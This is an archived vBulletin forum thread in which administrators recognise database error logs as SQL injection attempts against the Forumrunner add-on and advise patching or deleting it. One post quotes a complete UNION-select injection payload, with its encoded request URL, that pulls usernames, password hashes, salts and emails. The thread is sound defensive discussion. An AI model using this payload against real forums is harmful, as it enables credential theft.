Go Back   vb.org Archive > vBulletin 4 Discussion > vB4 Programming Discussions
FAQ Community Calendar Today's Posts Search

Reply
 
Thread Tools Display Modes
  #1  
Old 11-18-2016, 01:42 PM
mscottralston mscottralston is offline
 
Join Date: Apr 2013
Posts: 16
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default Updated MySQL from 5.1 to 5.5, Intermittent Error

Hi folks,

I'm occasionally getting the following error on my forums after my server updated MySQL from 5.1 to 5.5:
PHP Code:
Database error in vBulletin 4.2.0:

Invalid SQL:

                
SELECT post.postidpost.threadidpost.visiblepost.titlepost.userid,
                        
thread.forumidthread.title AS thread_titlethread.postuseridthread.visible AS thread_visiblethread.firstpostid
                FROM post 
AS post
                LEFT JOIN thread 
AS thread USING (threadid)
                
WHERE postid IN (-1)union);

MySQL Error   You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 5
Error Number  
1064
Request Date  
FridayNovember 18th 2016 05:16:52 AM
Error Date    
FridayNovember 18th 2016 05:16:53 AM
Script        
: [url]http://removed.com/http://removed.com/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union[/url]
Referrer      :
IP Address    185.2.32.2
Username      
Unregistered
Classname     
vB_Database
MySQL Version 

I'd love some advice, please! Clearly something is no longer valid in the new version of SQL, but I'm not sure where in vBulletin to edit the syntax, nor what I should be editing it to (some kind of bracketing issue, I'm guessing).
Reply With Quote
  #2  
Old 11-18-2016, 02:43 PM
Dave Dave is offline
 
Join Date: May 2010
Posts: 2,583
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

That's not related to your MySQL version, in fact, it's someone attempting to hack your forum!
Forumrunner was vulnerable to SQL injection not too long ago. You should immediately delete the forumrunner folder if you don't use it or update it to the latest version if you do use it.
Reply With Quote
2 благодарности(ей) от:
MarkFL, TheLastSuperman
  #3  
Old 11-18-2016, 04:39 PM
Lynne's Avatar
Lynne Lynne is offline
 
Join Date: Sep 2004
Location: California/Idaho
Posts: 41,180
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

You should also upgrade your site to at least 4.2.2 as 4.2.0 has security issues since it is no longer updates with security patches.
Reply With Quote
Благодарность от:
MarkFL
  #4  
Old 11-18-2016, 07:32 PM
mscottralston mscottralston is offline
 
Join Date: Apr 2013
Posts: 16
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Wow!

Sorry, I'm new to vBulletin -- where is the forumrunner folder for me to delete, in a vBulletin installation?

--------------- Added [DATE]1479505610[/DATE] at [TIME]1479505610[/TIME] ---------------

Never mind -- that much I found, at least, uninstalled both through the backend and directly by deleting the folder from the server. Sorry to be a pest, but if anyone has suggestions for the best documentation on how to upgrade one's vbulletin installation to a newer patched version, I'll get to reading!
Reply With Quote
  #5  
Old 11-18-2016, 09:55 PM
TheLastSuperman's Avatar
TheLastSuperman TheLastSuperman is offline
Senior Member
 
Join Date: Sep 2008
Location: North Carolina
Posts: 5,844
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally Posted by mscottralston View Post
Hi folks,

I'm occasionally getting the following error on my forums after my server updated MySQL from 5.1 to 5.5:


I'd love some advice, please! Clearly something is no longer valid in the new version of SQL, but I'm not sure where in vBulletin to edit the syntax, nor what I should be editing it to (some kind of bracketing issue, I'm guessing).
Dave is correct, see below.

Quote:
Originally Posted by Dave View Post
That's not related to your MySQL version, in fact, it's someone attempting to hack your forum!
Forumrunner was vulnerable to SQL injection not too long ago. You should immediately delete the forumrunner folder if you don't use it or update it to the latest version if you do use it.
Another one they might try via forumrunner is also:

PHP Code:
Invalid SQL:

        
SELECT post.postidpost.threadidpost.visiblepost.titlepost.userid,
            
thread.forumidthread.title AS thread_titlethread.postuseridthread.visible AS thread_visiblethread.firstpostid
        FROM post 
AS post
        LEFT JOIN thread 
AS thread USING (threadid)
        
WHERE postid IN (-1)union select 1,2,3,(select (@xfrom (select (@x:=0x00),(select (0from (blog_user)where (0x00in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3D,0x73,0x61,0x6C,0x74,0x3D,salt,0x3D,0x73,0x61,0x6C,0x74,0x3D,email,0x3D,0x65,0x6D,0x61,0x69,0x6C,0x3D,0x3C,0x62,0x72,0x3E,0x3E,0x3D62723D)) and userid>and userid<5000))x),5,6,7,8,9,10-- -);

MySQL Error   Unknown column 'username' in 'where clause'
Error Number  1054
Request Date  
FridayNovember 18th 2016 05:07:32 PM
Error Date    
FridayNovember 18th 2016 05:07:32 PM
Script        
http://www.removed.com/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(blog_user)where%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3D,0x73,0x61,0x6C,0x74,0x3D,salt,0x3D,0x73,0x61,0x6C,0x74,0x3D,email,0x3D,0x65,0x6D,0x61,0x69,0x6C,0x3D,0x3C,0x62,0x72,0x3E,0x3E,0x3D62723D))%20and%20userid%3E0%20and%20userid%3C5000))x),5,6,7,8,9,10--%20-
Referrer      
So if ANYONE is seeing database error emails similar to either of the above posted examples, someone as Dave first mentioned is trying to hack your site and if you have quite a few of either database error email then they're actively and consistently trying to hack your site. As Dave also mentioned, if you're not using it, remove it entirely.

For upgrades mscott, simply follow the information in the manual, if going from 4.x to a higher 4.x it's fairly straight forward (just double-check the required PHP and MySQL versions beforehand).
Reply With Quote
Благодарность от:
MarkFL
  #6  
Old 11-19-2016, 05:35 AM
MarkFL's Avatar
MarkFL MarkFL is offline
 
Join Date: Feb 2014
Location: St. Augustine, FL
Posts: 3,853
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

We got a couple of those errors at MHB recently, and I wondered what was up with that since we have Forumrunner disabled. But after reading this thread, I uninstalled it and deleted the folder earlier today.
Reply With Quote
Благодарность от:
TheLastSuperman
  #7  
Old 11-19-2016, 11:39 AM
Paul M's Avatar
Paul M Paul M is offline
 
Join Date: Sep 2004
Location: Nottingham, UK
Posts: 23,748
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

This was noted in the patch announcement

http://www.vbulletin.com/forum/forum...or-vbulletin-4

Quote:
Please note that you need to update regardless of whether you have Forumrunner enabled.


If you are patched (which you should be) then you dont need to delete anything.
Reply With Quote
2 благодарности(ей) от:
MarkFL, TheLastSuperman
  #8  
Old 12-21-2016, 03:35 PM
mscottralston mscottralston is offline
 
Join Date: Apr 2013
Posts: 16
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Hi folks,

I've since updated my forums to 4.2.3, deleted and reinstalled plugins, and so forth, and things were quiet until this morning. I just want to check if the following rapid series of errors (I've gotten over a hundred in an hour) look like hacking to you. Lots of IPs and usernames are attached, though 'JDAntoine' is always the unknown column. Checking in on the username, this is an existing user who was banned some time ago, if that matters.

Quote:
Database error in vBulletin 4.2.3:

Invalid SQL:

SELECT COUNT(*) AS threads

FROM thread AS thread


WHERE thread.forumid = 2
AND sticky = 0

AND visible = 1
AND thread.postuserid NOT IN (JDAntoine);

MySQL Error : Unknown column 'JDAntoine' in 'where clause'
Error Number : 1054
Request Date : Wednesday, December 21st 2016 @ 11:08:27 AM
Error Date : Wednesday, December 21st 2016 @ 11:08:27 AM
Script : http://REDACTED/forumdisplay.php?2-REDACTED-Discussion
Referrer :
IP Address : 63.239.33.129
Username : MysticTemplar
Classname : vB_Database
MySQL Version :


Database error in vBulletin 4.2.3:

Invalid SQL:

SELECT post.postid, post.attach
FROM post AS post

WHERE post.threadid = 265851
AND post.visible = 1
AND post.userid NOT IN (JDAntoine)

ORDER BY post.dateline
LIMIT 440, 40;

MySQL Error : Unknown column 'JDAntoine' in 'where clause'
Error Number : 1054
Request Date : Wednesday, December 21st 2016 @ 11:08:28 AM
Error Date : Wednesday, December 21st 2016 @ 11:08:28 AM
Thanks for your time, I really appreciate it!
Reply With Quote
  #9  
Old 12-21-2016, 03:38 PM
Dave Dave is offline
 
Join Date: May 2010
Posts: 2,583
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

That does not look like a hacking attempt. I guess it's caused by one of your plugins that hooks into forumdisplay_query_threadscount.

Disable all of your plugins one by one and see if at some point the error is gone, that way you can locate the plugin that is the cause of this.
Reply With Quote
  #10  
Old 12-21-2016, 04:34 PM
mscottralston mscottralston is offline
 
Join Date: Apr 2013
Posts: 16
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Thanks Dave!
Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 09:36 AM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2024, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.04748 seconds
  • Memory Usage 2,308KB
  • Queries Executed 11 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)ad_showthread_firstpost
  • (1)ad_showthread_firstpost_sig
  • (1)ad_showthread_firstpost_start
  • (2)bbcode_php
  • (4)bbcode_quote
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (1)pagenav_pagelink
  • (10)post_thanks_box
  • (7)post_thanks_box_bit
  • (10)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (5)post_thanks_postbit
  • (10)post_thanks_postbit_info
  • (10)postbit
  • (10)postbit_onlinestatus
  • (10)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • fetch_musername
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • post_thanks_function_fetch_thanks_bit_start
  • post_thanks_function_show_thanks_date_start
  • post_thanks_function_show_thanks_date_end
  • post_thanks_function_fetch_thanks_bit_end
  • post_thanks_function_fetch_post_thanks_template_start
  • post_thanks_function_fetch_post_thanks_template_end
  • pagenav_page
  • pagenav_complete
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete